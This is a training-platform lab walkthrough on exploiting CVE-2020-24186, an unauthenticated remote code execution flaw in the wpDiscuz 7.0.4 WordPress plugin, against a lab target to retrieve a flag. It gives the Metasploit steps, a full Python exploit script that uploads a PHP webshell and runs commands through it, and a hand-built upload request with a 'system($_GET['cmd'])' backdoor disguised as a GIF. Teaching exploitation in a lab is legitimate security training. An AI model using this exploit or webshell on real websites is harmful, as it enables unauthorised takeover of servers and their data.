Resources
    Vulnerability Lab: WordPr ...
    03 November 22

    Vulnerability Lab: WordPress Plugin wpDiscuz Unauthenticated RCE

    Posted byINE
    facebooktwitterlinkedin
    news-featured

    In our lab walkthrough series, we go through selected lab exercises on our INE Platform. Subscribe or sign up for a 7-day, risk-free trial with INE and access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    Purpose: We will learn how to exploit WordPress Plugin wpDiscuz using the Metasploit Framework module. We will see how to exploit it using a python script as well. We will also learn how to exploit it manually to better understand the vulnerability.

    Goal after completing this scenario: Retrieve the flag!

    Technical difficulty: Beginner

    Introduction

    The wpDiscuz  plugin is a commenting plugin for WordPress. It enables visitors to discuss topics and easily customise their comments through the use of a rich text editor. It also provides an image uploading functionality that allows users to upload an image along with their comments. However, the improper implementation of this feature resulted in a critical vulnerability. The plugin v7.0 to v7.0.4 suffers from a remote code execution vulnerability which allows unauthenticated users to upload any type of file, including PHP files via the wmuUploadFiles AJAX action. Even though only image attachments were intended to be allowed, this vulnerability occurred due to certain file mime type detection functions that were used, which checked for the file mime type based on the file content. It was discovered that any file type that had image-identifying features would bypass the check and could easily get uploaded.

    This vulnerability has been assigned the CVE id CVE-2020-24186. The CVSS score for this vulnerability is 10.0 Critical!

    Reference: https://nvd.nist.gov/vuln/detail/CVE-2020-24186

    Read More: https://www.wordfence.com/blog/2020/07/critical-arbitrary-file-upload-vulnerability-patched-in-wpdiscuz-plugin/

    Lab Link: https://my.ine.com/INE/courses/ebd09929/cyber-security-vulnerabilities-training-library/lab/0f28a510-f2e9-42b5-8145-0fc86772b4b6

    Lab Environment

    In this lab environment, the user is going to get access to a Kali GUI instance. A vulnerable version of the wpDiscuz WordPress plugin is running on the target machine. It can be accessed using the tools installed on Kali at http://demo.ine.local.

    The complete path to the post is: http://demo.ine.local/index.php/2022/05/20/hello-world/

    Objective: Exploit the unauthenticated remote code execution vulnerability in the wpDiscuz WordPress plugin to gain shell access on the target server and retrieve the flag!

    wpDiscuz_0.jpg

    Tools

    The best tools for this lab are:

    • Nmap

    • Dirb

    • Curl

    • A web browser

    • Python

    • Metasploit Framework

    Solution

    Step 1: Open the lab link to access the Kali GUI instance.

    wpDiscuz_1.jpg

    Step 2: Check if the provided machine/domain is reachable.

    Command: ping -c3 demo.ine.local

    wpDiscuz_2.jpg

    The provided machine is reachable. 192.162.69.3 is the IP address of the target machine.

    Step 3: Check open ports on the provided machine.

    Command: nmap -sS -sV demo.ine.local

    wpDiscuz_3.jpg

    Apache httpd 2.4.18 is running on port 80 on the target machine.

    Step 4: Next we will use the dirb tool to find files and directories on the web server.

    Command: dirb http://demo.ine.local

    wpDiscuz_4.jpg

    Step 5: We can notice that WordPress is running on the target machine. We will run the dirb tool again to find installed plugins on the target machine.

    Command: 

    dirb http://demo.ine.local/wp-content/plugins /usr/share/nmap/nselib/data/wp-plugins.lst

    wpDiscuz_5.jpg

    Step 6: We can notice that the wpdiscuz plugin is installed on the target machine. All the WordPress plugins have either **readme.txt" or "README.txt" file in their directory, from which we can find the plugin version. We can use the curl command here to view the first few lines of "readme.txt" file.

    Command: curl http://demo.ine.local/wp-content/plugins/wpdiscuz/readme.txt | head -n 10

    wpDiscuz_6.jpg

    The Stable tag shows 7.0.4, which is a vulnerable version.

    Exploit using Metasploit module

    Step 7: First check the attacker machine's IP address.

    Command: ifconfig

    wpDiscuz_7.jpg

    192.162.69.2 is the attacker machine's IP address.

    Step 8: Start the msfconsole and do a search for the module for CVE-2020-24186.

    Commands:

    msfconsole -q

    search CVE-2020-24186

    wpDiscuz_8.jpg

    Step 9: We get the desired module. Run the following command to use this module.

    Command: use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload

    wpDiscuz_9.jpg

    Step 10: You can also quickly run the following command to see what all options are required and what needs to be changed.

    Command: show options

    wpDiscuz_10.jpg

    Step 11: Now run the following commands one by one:

    Commands:

    set RHOSTS 192.162.69.3

    set BLOGPATH /index.php/2022/05/20/hello-world/

    set LHOST 192.162.69.2

    check

    exploit

    Note: RHOSTS is the target machine's IP address and LHOST is the attacker machine's IP address. And these values may vary for you.

    wpDiscuz_11.jpg

    We have successfully gained the meterpreter session.

    Step 12: Run the following command to access bash.

    Commands: shell

    wpDiscuz_12.jpg

    Step 13: Find the flag file.

    Command: find / -iname *flag* 2>/dev/null

    wpDiscuz_13.jpg

    The flag is present in /var/www/html/THIS_IS_FLAG1212424 file.

    Step 14: Retrieve the flag.

    Command: cat /var/www/html/THIS_IS_FLAG1212424

    wpDiscuz_14.jpg

    FLAG: b5a6d2d2611d17f6aa50056727ea411e

    Exploit using Python script

    We will use the public exploit script available at the following URL:

    URL: https://github.com/h3v0x/CVE-2020-24186-WordPress-wpDiscuz-7.0.4-RCE/blob/main/wpDiscuz_RemoteCodeExec.py

    Step 15: From the terminal, save the following python code in a file named exploit.py.

    #!/bin/python3
    # Exploit Title: WordPress Plugin wpDiscuz 7.0.4 - Unauthenticated Remote Code Execution
    # Google Dork: N/A
    # Date: 2021/06/08
    # Exploit Author: Fellipe Oliveira
    # Vendor Homepage: https://gvectors.com/
    # Software Link: https://downloads.wordpress.org/plugin/wpdiscuz.7.0.4.zip
    # Version: wpDiscuz 7.0.4
    # Tested on: Debian9, Windows 7, Windows 10 (Wordpress 5.7.2)
    # CVE : CVE-2020-24186
    # Thanks for the great contribution to the code: Z3roC00l (https://twitter.com/zeroc00I)
    import requests
    import optparse
    import re
    import random
    import time
    import string
    import json
    parser = optparse.OptionParser()
    parser.add_option('-u', '--url', action="store", dest="url", help="Base target host: http://192.168.1.81/blog")
    parser.add_option('-p', '--path', action="store", dest="path", help="Path to exploitation: /2021/06/blogpost")
    options, args = parser.parse_args()
    if not options.url or not options.path:
        print('[+] Specify an url target')
        print('[+] Example usage: exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost')
        print('[+] Example help usage: exploit.py -h')
        exit()
    session = requests.Session()
    main_url = options.url
    path = options.path
    url_blog = main_url + path
    clean_host = main_url.replace('http://', '').replace('/wordpress','')
    def banner():
        print('---------------------------------------------------------------')
        print('[-] Wordpress Plugin wpDiscuz 7.0.4 - Remote Code Execution')
        print('[-] File Upload Bypass Vulnerability - PHP Webshell Upload')
        print('[-] CVE: CVE-2020-24186')
        print('[-] https://github.com/hevox')
        print('--------------------------------------------------------------- \n')
    def csrfRequest():
        global wmuSec
        global wc_post_id
        try:
            get_html = session.get(url_blog)
            response_len = str(len(get_html.text))
            response_code = str(get_html.status_code)
            print('[+] Response length:['+response_len+'] | code:['+response_code+']')
            raw_wmu = get_html.text.replace(',','\n')
            wmuSec = re.findall('wmuSecurity.*$',raw_wmu,re.MULTILINE)[0].split('"')[2]
            print('[!] Got wmuSecurity value: '+ wmuSec +'')
            raw_postID = get_html.text.replace(',','\n')
            wc_post_id = re.findall('wc_post_id.*$',raw_postID,re.MULTILINE)[0].split('"')[2]
            print('[!] Got wmuSecurity value: '+ wc_post_id +' \n')
        except requests.exceptions.HTTPError as err:
            print('\n[x] Failed to Connect in: '+url_blog+' ')
            print('[x] This host seems to be Down')
            exit()
    def nameRandom():
        global shell_name 
        print('[+] Generating random name for Webshell...')
        shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))
        time.sleep(1)  
        print('[!] Generated webshell name: '+shell_name+'\n')
        return shell_name
    def shell_upload():
        global shell
        print('[!] Trying to Upload Webshell..')
        try:
            upload_url = main_url + "/wp-admin/admin-ajax.php"
            upload_cookies = {"wordpress_test_cookie": "WP%20Cookie%20check", "wpdiscuz_hide_bubble_hint": "1"}
            upload_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "*/*", "Accept-Language": "pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Content-Type": "multipart/form-data; boundary=---------------------------2032192841253859011643762941", "Origin": "http://"+clean_host+"", "Connection": "close", "Referer": url_blog}
            upload_data = "-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nwmuUploadFiles\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_nonce\"\r\n\r\n"+wmuSec+"\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmuAttachmentsData\"\r\n\r\n\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"wmu_files[0]\"; filename=\""+shell_name+".php\"\r\nContent-Type: image/png\r\n\r\nGIF689a;\r\n\r\n<?php system($_GET['cmd']); ?>\r\n\x1a\x82\r\n-----------------------------2032192841253859011643762941\r\nContent-Disposition: form-data; name=\"postId\"\r\n\r\n"+wc_post_id+"\r\n-----------------------------2032192841253859011643762941--\r\n"
            check = session.post(upload_url, headers=upload_headers, cookies=upload_cookies, data=upload_data)
            json_object = (json.loads(check.text))
            status = (json_object["success"])
            get_path = (check.text.replace(',','\n'))
            shell_pret = re.findall('url.*$',get_path,re.MULTILINE)
            find_shell = str(shell_pret)
            raw = (find_shell.replace('\\','').replace('url&quot;:&quot;','').replace('\',','').replace('&quot;','').replace('[\'',''))
            shell = (raw.split(" ",1)[0])
            if status == True:
                print('[+] Upload Success... Webshell path:' +shell+' \n')
            else:
                print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
                exit()
        except requests.exceptions.HTTPError as conn:
            print('[x] Failed to Upload Webshell in: '+ url_blog +' ')
        return shell
    def code_exec():
        try:
                while True:
                    cmd = input('> ')
                    codex = session.get(shell + '?cmd='+cmd+'')
                    print(codex.text.replace('GIF689a;','').replace('�',''))
        except:
            print('\n[x] Failed to execute PHP code...')
    banner()
    csrfRequest()
    nameRandom()
    shell_upload()
    code_exec()

    Now, run the script along with the required arguments as shown below.

    Command: python3 exploit.py -u http://demo.ine.local -p /index.php/2022/05/20/hello-world/

    wpDiscuz_15.jpg

    The python script successfully exploited the target.

    Exploit Manually

    Step 16: Configure the intercept on the browser as shown below.

    wpDiscuz_16.jpg

    Step 17: Start Burp Suite and capture the following request: 

    URL: http://demo.ine.local/index.php/2022/05/20/hello-world/ 

    Next, send the captured request to the repeater. And then you can turn off the intercept.

    wpDiscuz_17.jpg

    Step 18: Replace the request in the repeater with the following.

    Request:

    POST /wp-admin/admin-ajax.php HTTP/1.1

    Host: demo.ine.local

    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

    Accept: */*

    Accept-Language: en-US,en;q=0.5

    Accept-Encoding: gzip, deflate

    X-Requested-With: XMLHttpRequest

    Content-Type: multipart/form-data; boundary=---------------------------80428247527883332923653124875

    Content-Length: 854

    Origin: http://demo.ine.local

    Connection: close

    Referer: http://demo.ine.local/index.php/2022/05/20/hello-world/

    -----------------------------80428247527883332923653124875

    Content-Disposition: form-data; name="action"

    wmuUploadFiles

    -----------------------------80428247527883332923653124875

    Content-Disposition: form-data; name="wmu_nonce"

    8376c835fe

    -----------------------------80428247527883332923653124875

    Content-Disposition: form-data; name="wmuAttachmentsData"

    undefined

    -----------------------------80428247527883332923653124875

    Content-Disposition: form-data; name="wmu_files[0]"; filename="backdoor.php"

    Content-Type: image/png

    GIF89a;

    <?php system($_GET['cmd']); ?>

    -----------------------------80428247527883332923653124875

    Content-Disposition: form-data; name="postId"

    1

    -----------------------------80428247527883332923653124875--

    Remember to change the wmuSecurity value in the above request as it may be different for you. This value is placed here in the request as shown below.

    wpDiscuz_18.jpg

    Also, note that the post id is already set to 1.

    wpDiscuz_18_1.jpg

    You can find the wmuSecurity value from View Page Source.

    wpDiscuz_18_2.jpg

    wpDiscuz_18_3.jpg

    Similarly, you can verify the post id by searching for wc_post_id.

    wpDiscuz_18_4.jpg

    Now let's see what we are doing here. We have just added a fake signature of an allowed file type in our php file. This will bypass the file content verification check and our php backdoor will get uploaded.

    wpDiscuz_18_5.jpg

    Step 19: Hit Send. The exploit worked and we get a link to the uploaded file in the response.

    wpDiscuz_19.jpg

    Step 20: Copy that link and append ?cmd=id to it and run it. The id command is successfully executed.

    wpDiscuz_20.jpg

    Conclusion

    In this article, we learned how to exploit the unauthenticated remote code execution vulnerability in wpDiscuz WordPress plugin v7.0.4 using Metasploit module, using Python script as well as manually using Burp Suite.

    References

    Try this exploit for yourself! Subscribe or sign up for a 7-day, risk-free trial with INE to access this lab and a robust library covering the latest in Cyber Security, Networking, Cloud, and Data Science!

    © 2024 INE. All Rights Reserved. All logos, trademarks and registered trademarks are the property of their respective owners.
    instagram Logofacebook Logotwitter Logolinkedin Logoyoutube Logo